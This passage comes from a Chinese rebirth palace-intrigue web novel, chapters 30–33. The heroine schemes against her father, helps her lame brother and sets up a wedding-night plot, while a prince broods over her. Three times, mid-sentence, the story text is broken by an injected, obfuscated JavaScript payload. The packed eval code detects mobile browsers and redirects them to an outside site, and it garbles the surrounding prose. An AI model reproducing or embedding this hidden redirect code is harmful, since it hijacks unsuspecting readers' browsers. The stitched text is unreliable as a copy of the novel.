崔莞言侧过身，肩头倚着车壁，指尖拨了拨鬓发：“喜欢倒不敢当……只是与那样的人说话，总觉得心底安静，不必时时如履薄冰。毕竟，王爷的气度，未必人人都承受得起。” 褚元唐的下颌线绷得更紧，眼底的沉意像夜色一样压下来，可终究还是压住了那股冲动，只将目光偏开。 “……崔小姐真会读人心。” 人心？上辈子，崔莞言确实是输给了“人心”二字。 那些她费尽心思守护的情意，到头来成了逼她赴死的刀。 她笑得愈发讽刺，“王爷怕是高看了我。我也不是人人都能看得透的，毕竟……有的人，没有心。” 话音落地，车厢里瞬间静默。 马车辘辘，车轮碾过一处石坎，车身一震。 崔莞言的身子猝然失了重心，整个人往前一扑，眼看就要撞向褚元唐，可她突然反手撑向木壁，骨节与硬棱相抵，生生止住去势。 褚元唐几乎是下意识伸手，将她从壁上扯入怀中，力道狠绝，哑声道：“我就这么让你厌恶吗？” 那眼神像从深处裂开一道口子，冷意与灼意一同涌出来，要将她生吞下去。 望着那双眼，崔莞言心底一紧，不可控制地掉入回忆漩涡中。 那一年的冬日极冷，京郊劫盗横行，褚元唐率军剿匪，音讯断绝半月，才传来他重返上京的消息。 他被送回府后，甲胄尽数卸下，露出一身沾血的里衣，肩背的伤口还在渗血。 崔莞言在屋外候了半个时辰，才被允许入内。 帐中灯火昏黄，药香与血腥味交杂，侍医查看后摇了摇头说，伤口极深，恐有性命之忧。 她走近榻前，看到他侧身而卧，面色冷白唇色尽失，顿时心痛如绞。 这一夜，风雪拍打着高墙。 她守着烛火，目光一刻不敢离开他的脸，即便困意阵阵袭来，也强迫自己咬牙支撑，只怕他在自己走神的时，就此沉睡不醒。 直到天色微亮时，他终于睁眼。 崔莞言怔怔地握紧他的手，一夜的疲惫、担忧，全都在这一刻化作眼底不尽的喜悦。 可他清醒的第一刻，并不是看她，而是望向帐外侍立的亲卫。 转回来时，他挣开手，满眼只剩下冷意。“别碰。” 耳边响起眼前人低沉的呼吸声，她从旧梦中抽身而出，忽地笑出声，眼底却没有半点温度，只余痛入骨髓的讥讽。 她推开他。 “别碰。” 30. 飞上枝头 薛弼推门走进书房时，一眼便见地上那件月白色袍子凌乱地摊着。 褚元唐背对着门，负手立在窗前，夜色映得他侧影分外清冷。 薛弼垂眼，心底却暗暗震动。 王爷自幼性情寡淡，遇事从不轻易动容，纵是生死存亡也未曾乱过分寸，自那崔家小姐回京，他的冷静便一再被撕裂。 明明崔晋与王爷势同水火血债累累，本该是永不两立的死局。 可王爷偏偏在她身上乱了阵脚。 良久，褚元唐才转身，眸色阴沉得厉害。“那人找到了吗？” “自他从诗会出来我便一路紧跟，那人蒙了面，马车四处兜转，到夜半才悄悄停在庆国公府后门。” 国公府？ “呵。”褚元唐低低冷笑，“崔家倒是藏着不少妙人。” “王爷，此人既与崔家往来频繁，难保不是崔晋暗布的棋子。属下以为，需得多留心。” 话一出口，他便觉后悔。 主上这些日子，凡是沾上崔家小姐的事，向来不肯依常理而断。 果不其然，褚元唐眸光一顿，背影被烛火映得孤绝，“若真与崔晋有关，本王倒更要看看，他葫芦里到底卖的是什么药，替我盯紧些。” 薛弼拱手称是，快步退下。 褚元唐的余光再次落在那件皱巴巴的袍子上。 烛火摇晃，影子在衣料上忽明忽暗，他终究还是弯下身去，掌心覆上那冰凉的布料，褶痕深浅交错，竟像压在他胸口的旧痕，一道比一道更重。 记忆无声涌来。 那时新婚不久，崔莞言日日守在他身侧，不论他冷言冷面，总不曾退半步。 “王爷，这针脚是不是太密了些？” 她缩在角落，手指被针线扎得通红，却依旧小心翼翼。 褚元唐皱眉：“何必亲自做这些？府里不缺人。” 她笑了，眼睛亮得很：“只要王爷穿着舒心，我费些精力算不得什么。” 他心头一却迅速压下，冷声道：“本王不需要。” 崔莞言愣了下，应了一声“是”。 几日后，那袍子还是送了上来。 她傻得很，只晓得一味讨好，为了给他做件合身的袍子，熬了几天几夜，眼下泛青仍笑着捧到他面前。 他接过时心底有些乱。 七岁丧母，自小不得父皇喜爱，惯于冷屋孤灯，世间所有温情都与他无关，偏偏在她那里，他第一次感到有人不求回报地把心掏给他。 可崔晋是他的血仇，若在她面前显露半点软意，就是背叛自己。 于是他装作无动于衷，将那袍子收起从未穿过。 后来他无意间瞥见她独自坐在廊下神色低落，连一向明亮的眸子都黯了。 他胸口像针扎一般，刺痛不断。 鬼使神差地，他终究穿上了那件袍子 她眼睛亮起时，他却强自压下心头的暖意，只说：“也罢，凑合能穿。” 可他记得她眼底的光，真傻呀，把一颗心掷得彻底。 如今再触到，才发现一切都已不同。 眼前这件，是依着当年的样式重新赶制的，质地相仿颜色相仿，却终究不是当初那一件了。 都变了，一切都变了。 世事再不能回到从前。 - 夜深，国公府内灯火通明，迎候的人却不多，偶尔几声通报道，显得冷清疏落。 崔莞言抬眼望去，这座偌大的府邸，檐角高悬的灯笼依旧红亮，却似烈火要将人生吞进夜色中。 她一路走至后宅一处僻静的院子，朱漆斑驳的门扇半掩着，院墙长满青苔，角落里几株槐树横生歪长，枝叶遮住了半边檐角，石阶破裂，杂草从缝隙里冒出来，连风过时都带着几分荒凉气。 她正要走近，身后的小厮低声劝道：“姑娘，世子方才吩咐过，说要歇息了，不便打扰。” 可她瞧着，屋内的影子分明还直挺挺立着。 “纵得入江成巨浪，也应无意起风声。”她高声念道。 屋内的身影一滞，似乎被她的话击中，随即动了动。沉默良久，那影子终究还是走向门边。 门“吱呀”一声开了，灯火映出一张清隽的面容。 大哥崔植生来跛脚，自小便被人讥笑，却偏生得一副好皮囊，眉目俊朗如画，若不是步履不稳，立在人群中，旁人只会觉得是翩翩公子。 “进来吧。” 屋子极简陋，书案是旧木，漆色早已斑驳，一张几近塌陷的榻，帷帐也泛着灰，几件书卷随意堆放在角落，墙壁上渍痕斑驳，竟看不出这是国公府世子所居之处。 崔莞言望着他，眼底涌上酸涩。 “今日诗会那人，是你吧。” 崔植眼神闪躲，没答话。 崔莞言心里却已笃定。 大哥自幼聪慧才学出众，只因跛足畏惧流言，不敢在外抛头露面，纵然满腹经纶，也只能藏于简陋书卷间，不能示人。 可惜了，这样的才华，若生在旁人身上，早已名满京城，可落在大哥身上，却只能困在这破败的院落里无处施展。 崔植静默半晌，终还是抬眼看她一眼，苦笑道：“是我，可又如何？几句诗能换来什么？不过是自我取乐罢了。” 他唇角弯着，却带冷意：“我纵有万般才学，于父亲眼中也不值一文，自打我出生那日起，他就觉得我拖累崔家，平白丢了脸面。跛脚之人能成什么事？” “大哥何必如此？你有才学偏要自困，是他们看轻你，不是你不配。你以为我又好到哪里去？自小背着灾星的名头，被弃在外头，连做人都不配，可如今我回来了，我就要把最好的都夺回来，叫他们一个个后悔。” 崔植怔怔地望着她，心中掀起波澜。他原以为这个妹妹与自己一样，是被弃在角落里的孤魂，可她却从废墟中生生破出一道口子。 “莞言，我……” 崔莞言迎上他的目光，“我有办法，让大哥的才华，不再被埋没。到那时，父亲必定要为今日的冷眼悔得肠子都青。” 崔植神色复杂，手指在袖中拧着衣角，半晌未应。 崔莞言看在眼里，也不急着逼他。 “大哥先别急着答应，你再想想就是。” 起身欲走时，她又顿住脚步：“我有个好友，极爱你的诗，若有机会，也盼能见上一见。” 崔植抬眼问：“是……沈小姐？” 那姑娘才华横溢，本就是上京有名的才女，而他一个跛脚之人，怎敢与之并论？念及此处，心口像被针扎一般酸涩。 “罢了。”他摇头苦笑，“若真见了面，只怕惹人笑话，不必了。” - 次日清晨，崔莞言便吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184796|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手，将崔植的院子重新收拾一番。 陈旧的桌椅、破损的屏风都被搬了出去，换上的皆是新漆木器、软垫锦褥，甚至连窗上的纱幔也焕然一新。仆婢来来往往，忙得不亦乐乎，整个小院一时热闹起来。 府中人看在眼里，多有窃窃私语。有人暗暗叹道：“二小姐这般待世子，倒真是用心。” 也有人揣测：“若老爷知晓，只怕不会高兴。” 果不其然，消息很快传入崔晋耳中。 午后，管事来传话，说老爷要她去书房一趟。 房中静得压人，崔晋神色不悦。 他本就厌恶那个病恹恹的庶子，生得半残行事木讷，看着就碍眼，府中无论是下人还是旁支，谁要是对崔植多几分好意，他心里便生出抵触。 莞言才掌家几日，竟先顾着那个废物？连院落都替他修整得像模像样。 “你才开始管家，怎么就急着去收拾那个废物的院子？” “母亲已受罚，长姐在宫中，心下难免不安。女儿想着，若能照拂大哥一二，也算宽慰长姐，叫少些担忧。” 崔晋凝视着她，眉头渐渐舒展开些，心里暗想：这丫头倒是顾全大局。 他那长女最是心软，进宫这些年不得圣宠不说，膝下还无子嗣，叫他每每想到都憋着一口气。若有个孩子在，也好为崔家添根线……可惜了。 转念一想，莞言倒机灵，知晓如何宽慰长姐之心。虽不见得全是孝顺，却也算个懂事的。 他沉吟片刻，心里的不快慢慢压了下去，瞥了她一眼，道：“你倒也懂事。你二哥的婚事眼下已在操办，府里许多细节需人照看，你既有这份心思，便去跟着学着操持，也好积些分寸见识。” “是。” 崔莞言退出书房时，正好见一名丫鬟端着漆盘走来，碟中是新蒸的藕粉桂花糕。 她抬眼一看，认得那是庄氏身边的灵绣。 从前不过寻常使唤丫头，她未曾留心，此时细细看去，才觉那模样倒生得娇俏，珠圆玉润，眉眼含笑时，带着几分说不出的媚态。 灵绣进去，将盘子搁在案上，软声细语道：“老爷，这糕是老夫人特意叫厨房做的。”声线娇滴滴的，尾音一挑。 崔晋随口应了一声，却忍不住多看了一眼。 崔莞言眼底浮起一抹冷笑。 崔晋素来以“勤政克己”自诩，朝中人人都说他不近女色，可不沉迷，不代表他不喜欢。 男人终究是男人，哪怕是她这位一向端肃的父亲，见了姿色也免不了多看几眼。 自己倒是忘了，在庄氏不在的时候，该替她添几位姐妹。 - 午后，崔莞言问过管事，说是崔晋身边一直是几个小厮伺候，难免有不周到的地方，想着庄姨娘不在，就把她身边的丫头派去伺候。 几个丫鬟先后轮番试了，或是拘谨得连话都说不利落，或是呆头呆脑不解眼色。唯有灵绣，冷了便上衣裳，渴了即斟茶水，行止得体不多不少，竟叫崔晋笑着点头，口中还夸了一句“懂事”。 崔莞言笑意淡淡：“既然如此，往后就由灵绣在父亲身边伺候吧。一个小丫头罢了，想来庄姨娘也该舍得。” 夜里，崔莞言正要歇下，外头传来丫鬟回禀：“小姐，灵绣求见。” 她挑了挑眉，倒也意外。 这是来投诚的？ 31. 酒中机缘 灵绣一进屋，便扑通一声跪下。 崔莞言忙拉她起来，装作关心似的问：“怎么了？可是有人欺负你？” 灵绣在地上磕了两下，随即抬起身子，眼眶红肿，声线却努力压着不至于失态。 “小姐，没人欺负我……我只是来求您，给奴婢一条明路。” “明路？此话怎讲？” “小姐，我一直跟在庄姨娘身边，见得清楚。旁人只当您柔顺，我知道，您才是个厉害角色。如今庄姨娘不在，我愿意为小姐做事。只是……” 她抬头，直直望着崔莞言，眸子里不再是求饶，而是渴切，“我不想再一辈子做伺候人的下贱奴才。” 崔莞言听她如此明言，神色不再伪作不解，唇角却冷冷一弯：“你倒也爽快，竟敢在我面前挑明了说。” 她前世便是因太会忍，太会装作不争，最后被人逼到绝境，如今看灵绣敢为自己争一条出路，倒叫她生出几分暗暗的欣赏。 灵绣低下头，神情悲怆，眼中泛起恨意，道：“我本就是贱命一条。父亲嗜赌成性，输红了眼，把我卖了出去抵债。” “进了国公府，本想着有口饭吃便好，谁知被分到庄姨娘身边伺候。她表面温和，心肠却比蛇蝎还毒，我每日都像踩在刀尖上，唯恐说错半个字。后来渐渐长大，二公子……竟对我起了心思。” 崔时对灵绣有心思？前世她竟不知。 崔莞言递了帕子过去，便听灵绣继续说。 “那时候，我以为若能做他妾室，纵然身份卑微，也算比旁人强些，可久而久之才发现，他不过披着皮相的懦夫罢了，遇事只会躲在父亲身后，嘴上说得冠冕堂皇，转身却拿丫鬟撒气，哪有半点担当？” 灵绣低声笑了一下，笑意却比哭还难堪：“我原想着，若能在国公府里好好伺候，得姨娘怜惜赐个恩典，出府时或许能寻个老实人家过日子。” “可惜……我爹自打卖了我，就日日往府里来打听，每回见我都要钱，若是我真出了府，只怕还没走到家门口，便被他拐去卖给谁家做妾，换几两银子去赌。” 她咬着牙，缓缓跪直了身子：“在老爷身边伺候这几日，我瞧他并不排斥，反倒夸了我好几次，我想我只差一个时机。” 崔莞言听罢心里已有盘算。 灵绣既能拿住崔时的把柄，又能时时牵动庄氏的神经，留在身边正好。 她看向跪在地上的小丫头，声线淡漠：“他年纪也是能做你父亲的，况且庄姨娘若能再回来，第一不会放过的就是你，到时候你受得了么？” 灵绣脸色一白，却没退缩，“我晓得。可若不搏一搏，出府也是死路。” “既然你执意如此，那我便助你一回，你且回去等我消息，不要轻举妄动。” 这是灵绣自己的选择，崔莞言只希望她以后不要后悔。 - 国公府里张灯结彩，喜气洋洋，上上下下都在为崔时大婚奔忙。 崔莞言吩咐青禾去备车，说是要亲自去挑几坛好酒回府。 偏巧这时，沈明宜约她一同出门。 街市正是热闹时分，酒旗高挂，商贩吆喝声此起彼伏。 “我听说这家酒铺有上好的女儿红。”崔莞言拉着的手臂，“一起去瞧瞧？” 酒铺里木架高叠，小二殷勤地搬出几坛年份久远的藏酒让二人试。 沈明宜却提不起兴致，随意看了几眼，手里拨弄着酒坛的封泥，不声不响。 “怎么，心里还惦着诗会那人？”崔莞言问。 沈明宜低垂眼眸，长叹一声：“唉，也不知有没有机会再见他。” 崔莞言失笑：“就不怕他是个丑八怪？” 沈明宜却不以为意，眼中分明燃着执念。 “我欣赏他的诗才，容貌什么的不打紧。” 崔莞言看在眼里，心底却无声叹息。 她也希望崔植能光明正大站在人前，叫崔晋看看，被他厌恶的儿子有何等才华。 正说着，酒铺老板迎了过来，笑眯眯道：“两位姑娘可是要挑酒？小店的好酒可不少。” “可有最醇的？年份久的那种。” “有的有的！只是那酒极烈，寻常客人不敢买，喝一碗下去便要烧得满面通红，稍不留神便要醉倒。” 老板忙吩咐人从后院搬来一坛，“这可是我店里最烈的酒，十年陈，喝上一碗，不管多好的酒量，也得醉上半天。” 崔莞言浅尝一口后摇头：“味虽烈，却还差了些。” 崔晋酒量极佳，若是想让他不省人事，可得要劲更大些的。 老板愣了一下，还想再辩，沈明宜忽然想起什么，道：“我倒记得，我哥哥藏着许多好酒。有人从西域带来过来，辛辣似火，喝一口便要灼喉，怕比这里的都烈得多。” 崔莞言原本只当是随口一说，哪知听到“西域烈酒”几个字，眼眸忽然一亮。“你说你哥哥那里……能不能卖我一坛？” 沈明宜随即笑起来：“他最是宝贝那些酒，平日里连我也碰不得。不过若是你要，兴许，他会答应。” 两人说笑着出了酒铺，天色已近傍晚。 回到沈府时，沈霆之正坐在院中石桌旁，斟了一杯清冽的酒，慢条斯理地饮着。 他似乎心情极好，举盏时眼角眉梢都带着几分慵懒自在。 见二人回来，他放下酒盏，笑着招手：“怎的这般晚才回？你们可是逛遍了半个京城？” 沈明宜走上前，一边取了他案上的点心嚼着，一边笑道：“才去了酒铺，她还打听起什么烈酒来呢。” “莞言对酒有兴趣？” 崔莞言摇头，“二哥大婚，我想着寻些好酒招待贵客，霆之哥哥，我可听说你珍藏了不少，可愿割爱？” 沈霆之闻言，忍不住失笑，举手招呼下人取酒：“既然是为了办喜事，自然得拿出来几坛。只是你要替别人寻，我不如先请你亲口尝尝。” 小厮搬来一坛旧藏，启封后酒香浓烈扑鼻。 沈明宜瞥了瞥，故作嫌弃地摆手：“我才不喝这些，苦得很。”话音一转，却眨眨眼，笑嘻嘻道，“你们慢慢尝，我得去催厨房备菜，省得一会儿误了时辰。” 说罢转身就跑，果然不给崔莞言推辞的机会。 院中只剩下她与沈霆之，气氛顿时安静下来，崔莞言无奈，只得落座。 沈霆之为她斟满一盏，眸光淡淡扫来：“这是十多年前的老酒，烈得很，你可得小心。” 崔莞言举盏抿了一口，酒气烈得要自喉间烧透，鼻尖都泛了酸。 沈霆之看着，忽地话锋一转：“通州案一结，圣上特赐了我些东西，我正想该如何谢你。想来你不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197019|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗物，便以这坛酒作谢，如何？” “谢我？霆之哥哥何出此言？” 沈霆之斟满酒盏，慢声道：“那封密信是你放的吧。” “你早就知道？” 崔莞言想，沈霆之果然聪明，还极善察言观色，能推断出信是她放的，并不稀奇。 可沈霆之举杯一抿，神色却变了：“其实我一共收了三封密信，字迹、用词各不相同，但内容却都指向一处。” 崔莞言垂下眼，心念急转。 张兆一事，知情的除了她和褚元唐，余下的便只剩崔晋了。 “你应该猜得到是谁吧。” 沈霆之笑而不答，只将酒盏转了半圈，琥珀色的液光随之晃动，沉默良久，他才道：“你也是崔家人，崔家若出事，你脱不了干系。” “我自有我的主意。” 崔莞言将杯中酒一饮而尽，胸口灼得生疼，却硬生生忍了下去。 沈霆之望着她，目光竟移不开了。 一袭素色襦裙，眼尾略显倦意，却因那骨子里透出来的冷意衬得愈发清峭。 这么多年，庆国公在朝中横行跋扈，多少人私下敢怒不敢言，没真敢伸手去撼动。偏偏是眼前这位被冷眼多年、处境逼仄的崔家庶女，竟敢将手伸到亲爹头上。 他早听人说过她在封州的境遇，弱小、孤立、几乎任人踩在脚下，可眼下再看她的模样，让他心中生出几分异样的钦佩。 若非心性极硬，怎能走到这一步？ “多谢你的酒。”崔莞言两颊已然发烫，泛起红晕，起身时踉跄了几步，却仍端然行了一礼。 沈霆之笑着送她，眼神却有些超乎寻常。 “以后有需要帮忙的地方，尽管向我开口，我一定尽力。” - 夜已深，王府书房灯火犹亮。 柳枝跪在榻前，将白日里的经过一一呈上。 “……小姐喝了些酒，醉得厉害，已经歇下了。” 褚元唐正低头翻着手边的折子，听到这指尖顿住，烛影落在他微敛的眼睫上，看不出喜怒。 “在哪喝的？” 柳枝犹豫片刻，还是如实道：“在沈府，与沈大人同席。” 又是沈霆之。 他明明清楚，沈霆之出身清白言行端正，未必有半分逾矩，可只要想到她在别人眼底醉意横生，胸口便一阵发紧，心底涌上几分荒谬的嫉意。 她竟肯对沈霆之轻易放下戒心。 同他之间走了两世，最后却隔着万重猜忌。 他抬手拢了拢烛火，掌心灼痛，收了笑意。 心口闷得慌，像被什么死死箍住，透不过气。 他一再告诉自己，不该在意，不该如此。 可她唇边亲昵的声调，却像根倒刺，扎得他每一息都难安。 若此刻能见到她，他恨不得扳着她的肩逼问，那声声“霆之哥哥”，到底是真心，还是她又一次的算计？ 可他不敢。 他怕从她眼中看到的答案，比自己想象的还要残酷。 褚元唐收回手，掌心被烫得发红，却无法将那股涩痛压进心底。 “走，我同你一起去国公府。” “王爷，这恐怕不妥……要是被人……” 柳枝话未尽，褚元唐已阔步而出，背影孤绝。 32. 醉后旧梦 国公府的夜，总是静得吓人。 崔莞言推门而入，步子比往常更慢。 她只觉脑袋愈发昏沉，连呼吸都带了倦意。 心里暗想，沈霆之这烈酒崔晋定然躲不过，少不得醉得昏天黑地。 她卸了外衫靠着床沿，只觉得一阵困意袭来，没过多久，便沉沉陷入睡梦。 外间灯火一点点熄灭，整座宅院愈发死寂，只余她一人静静酣眠。 屋外高墙阴影下，两道身影无声掠过。 柳枝落地时脚步一沉忙收了声，心跳得像要从喉咙里蹦出来。 她抬眼看见前头那抹月白背影，忍不住在心里暗叹：王爷这也太为情乱智了，这可是崔府！ 褚元唐回身看她一眼，“在外面守着。” 柳枝连连点头，缩回黑影里贴住墙根，屏住呼吸，耳尖捕捉着院中细微的声响，只怕下一刻便会传来惊动全院的动静。 廊下一盏孤灯，褚元唐脚步极轻，越过回廊悄悄进了屋。 屋里很静，只余均匀的呼吸声，带着浅浅的酒味儿。 月色投进来，照出榻上沉睡的女子。 外衫随意搭在软塌角，鬓发半散，酒色将她的颊染得绯红，睫影投在眼下，乖顺得不像话，右手还蜷着，护在身前。 她睡得很沉，全然不知眼前有人伫立良久。 褚元唐心头有一瞬恍惚。 若不是知道她心里对他已冷了个彻底，此刻光是看着这样一张静美的面容，他几乎能骗自己，她还像从前那样，满心满眼都只有他。 他惯于刀锋上行走，从未在任何人面前动过心神。 可此刻，看着她眉目间带着醉意的安宁，他忽觉自己像个做贼之人，小心翼翼又不可自抑。 终究还是伸出手去，替她拂开鬓发。 谁知她忽然动了。 纤细的手骤然探出，紧紧攥住了他的手腕，力道出乎意料的固执。 闭着眼，眉心仍皱着，像是在梦里受了委屈。片刻后，唇齿间缓缓溢出一句呢喃，低低的，却清晰入耳： “王爷……别走……” 明知她是在梦里，明知她并不清醒，可那一声呼唤，却比任何清醒时的言语都要真切。 她从前总是傻傻地往他这边走，把心一层层剥开，递到他面前，而他……偏偏不能要。 重活一世，他更该谨慎，若再靠近，便可能将她再次拖入泥沼，可若就此转身，心底那份躁动却又难以平息。 心口起伏不定。良久，终于还是强迫自己转身离开。门扉将阖未阖之际，夜风灌入，榻上少女翻了个身，被角半落，纤弱的身子暴露在夜风中，他终是折回替她轻轻掖好被褥。 俯视着她安静的面容，喉结滚了滚，心底满是说不出口的荒唐念头。 他收回手，眼底的情绪沉到极深，唯掌心的温度，迟迟不肯散去。 - 崔莞言做了个梦。 梦里她回到王府，院里挂满了她亲手系上的彩灯，廊下摆着酒盏与菜肴。 那一日，是褚元唐的生辰。 她早早起了身，遣开下人，亲自下厨做了几道他爱吃的菜，又吩咐人备了温酒。甚至在花园里折了几枝梅花，插在他书房常用的青釉瓶里。她想着，这样他回来看见，兴许心情能好些。 一整日里，她都在等。暮色渐渐笼下，灯火一点点亮起，他却迟迟未归。府里仆从不敢言语，她便独自坐在正厅中，膝上放着绣好的香囊，指尖一遍遍抚着线迹，心口不免泛凉。 直到夜深，门才被人推开。 褚元唐披着夜风而入，眉目间带着冷意，崔莞言心口一紧，怕他不喜，急急迎上前，却见他只是淡淡瞥了她一眼，神色并不好。 她原以为他会径直回书房，没想到他竟在主位坐下。 席间寂静无声，她努力找些话题，却终究没说出口。两人隔着一桌，只听得酒液倾倒的声响，褚元唐喝得极快，连连斟满，面上依旧冷峻。 纵然如此，崔莞言心里却涌上一股难言的欢喜。至少今夜，他没有拒绝她的心意。她悄悄望着他，灯影下的眉眼依旧孤傲凌厉，可在一盏又一盏酒下肚时，也添了几分松散。 褚元唐饭后并未离去，灯已点得极暗，他却不肯回房，执意落座在榻前。 她心口一紧，伸手去推：“王爷醉了，该歇下。” 他的手却扣住她的腕，烛影摇晃间，他眼底的情绪混乱得很，像是压抑了许久的欲望与愤懑。 崔莞言心底慌乱，明明想推开，可手指却僵在半空。那一刻，她竟荒唐地渴望，他哪怕只是醉意里的一点温存，也愿分给她。 唇间骤然被覆上，带着酒意的热，她的呼吸乱了，理智在挣扎，身子却因他近在咫尺的炙热发颤。 他的手从她腕间滑落，缓缓沿着袖口探入，掌心覆上她纤细的腰身，她本能后退，却被他揽得更紧，跌进他怀中，呼吸凌乱不堪。 “莞言……”他第一次如此唤她，声线里含着火。 她睫毛轻颤，抬眸却只来得及对上一双泛红的眼。下一瞬，他已低头吻住她的颈侧，寸寸啃咬，像要在她肌肤上刻下印记。 她指尖无措地攀着他肩头，口中低喘，不知是拒还是允。 屋外风很冷，帐中却是灼热如焚。 他将她轻压在榻上，他的唇、他的指尖，在她肌肤上辗转流连，挑起她从未有过的悸动与羞意。 她紧咬下唇，却终究在他一次次深入中失了声，低低地呢喃出他的名字。 那一夜，他的沉重与炽烈一并压下，她在渴望与惧意中，被迫又甘愿地沉沦。 - 次日清晨，天光微亮。 崔莞言猛地睁开眼，胸口起伏得厉害，呼吸依旧紊乱，像是还沉在那片滚烫的梦里，无法挣脱。 指尖不受控制地蜷紧，仿佛仍残留着那人掌心的温度。 她怔怔坐起身，鬓发散落，神情恍惚片刻，才忍不住低低笑出声。 她竟会梦到那样荒唐的场景。 柳枝端着一盆清水轻手轻脚推门进来，见床帐里一抹人影格外清冷，心想小姐这一晚怕是睡不安稳。 “小姐，水已备好。” 崔莞言拂开纱帐起身，面色已恢复如常。 她漱了口，洗过面，随意穿了件浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209168|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄襦群，便坐到案前摊开经卷。 这几日，她依旧按时在祖母前请安，来去循规蹈矩，言语周全。崔晋偶尔试探几句，她也温声应着，从不多言，府中上下看在眼里，都夸二小姐掌家有方。 转眼几日过去，京中愈发热闹。大街小巷张灯结彩，鼓乐声日日不绝，坊间酒楼里说得最热的，便是崔家二公子崔时大婚之事。 当日崔时与谢清菱“丑事”闹得人尽皆知，如今虽是终成眷属，可那些闲言碎语却不肯散去，茶楼酒肆里仍有人窃窃私语，话里带刺。 婚期将近，府里上下忙得不可开交，喜帐、红毯、嫁妆一应俱全，奴仆们穿梭往来，皆是忙碌身影。 崔莞言这几日亦不得清闲。她陪着管事婆子逐一过目，核查婚宴所需之物，又将宾客座次细细排定。每一样，她都亲力亲为，不容出半点差错。 酒水一项，尤为要紧。她特地将从酒铺里寻来的好酒分门别类，又将沈霆之赠予的一坛烈酒藏在最要紧的几坛之中。 是夜，月色清寒，灯火辉煌照遍国公府。 各家官宦贵胄皆遣人前来贺喜，府门前的红毯自门第铺至中庭，喜乐鼓鸣不绝于耳。 席设三处，堂中、园内、前厅皆有安排，奴仆奔走，送茶倒酒张罗不停。 上宾一列更是盛重，朝中显贵多有出席，褚元唐也早早到了，端坐在左首高席之上，未着王袍，只一袭深衣，衬得人冷峻非常。 宾客见他都自觉敛声，不敢轻议。 唯有一人，心中压不住躁意。 崔时身着喜服从后堂出来，一身大红金线锦袍本应喜气洋洋，穿在他身上却像被强塞的外壳，衬得脸色发青。 “二少爷，外客众多，您万不可失礼。”管事低声急劝。 崔时冷哼一声，侧目扫了前厅一眼，正撞上褚元唐望来的一眼，他下意识避开，眉头更紧了几分。 这婚事本就不是他所愿，谢家自诩门第高华，却行着逼婚之事，明里暗里皆拿谢清菱“名节已毁”说事，好啊，既然他们自己要把女儿送上门，日后有的是时间慢慢折磨那贱人。 庄氏被扔到了庄子上，李氏亦禁足在佛堂，婚事便只能由崔老夫人同崔晋一道坐镇。 拜堂礼成，宾客鼓掌叫好，丝竹声声中，崔时牵着新妇的手，一步步走入洞房。 崔晋与褚元唐并肩而坐，席上几轮酒过之后，气氛热络，席中宾客也纷纷附和，称赞今日所酿黄酒甘醇入喉，后劲十足。 褚元唐本不喜热闹，只是今日场合特殊，他不便拒绝，酒入喉不过两巡，脸色便隐有变化。 那酒香初尝清冽，落腹却似火炙，竟有些发晕。 崔晋向来酒量极好，这会儿却也觉得额头发沉，胸口燥热。 宴席渐散，月已高悬。 崔府偏僻一隅，灯火却未熄。青禾远远望了眼，正要唤人熄灯，便见灵绣捧着一碗醒酒汤，自小径悄然拐入内院方向，步伐轻快脸上带着掩不住的欣喜。 她心下一动，刚欲跟上，被崔莞言轻声唤住。 “回去吧，等着明天看好戏。”少女站在月下，披着一件素色薄披，眉眼沉静。 33. 双喜临门 洞房之中红烛正旺，喜帐低垂，屋内一派温香暖意。 谢清菱着了大红喜服，刻意描红的唇角微扬，眉眼间透着几分娇羞与期许。 她原也知崔时心不甘情不愿，可她向来自诩姿容不俗、举止妍雅，便是今日强娶，她也未尝不能日后凭几分媚意将人心捂热。 男人无情不过一时，她若温柔以待，终有一日他会沉沦。 “夫君……”她娇嗔地朝崔时靠过去。 崔时正在桌边解袍，闻声皱眉，神色冷淡极了，回头只看她一眼，目光如霜：“你装什么？” 谢清菱一愣，面上还维持着笑意，强撑着语气更柔些：“今日是我们大喜之日……妾身只是想与夫君——” “闭嘴！”崔时猛地起身，一掌甩在她脸上。 巴掌响亮，谢清菱偏头倒向一旁，面上火辣辣地疼，耳边嗡鸣未歇，人已被他扯到了榻角。 “贱人一个，也配跟我圆房？你谢家不是把你这点‘名节’当借口，死缠烂打要我娶你？好，那你们如愿了。” 他一把将她推开，冷笑道：“我娶了你，怎么折磨，便是我家的事。” 谢清菱跌坐在床沿强忍着泪意。 崔时却没有再看她一眼，指着地上的软榻丢下一句：“想留在这儿，就滚地上睡。” 谢清菱缓缓起身，脸上的红印仍灼痛着。 她是贱人？那你崔时又算个什么东西！ 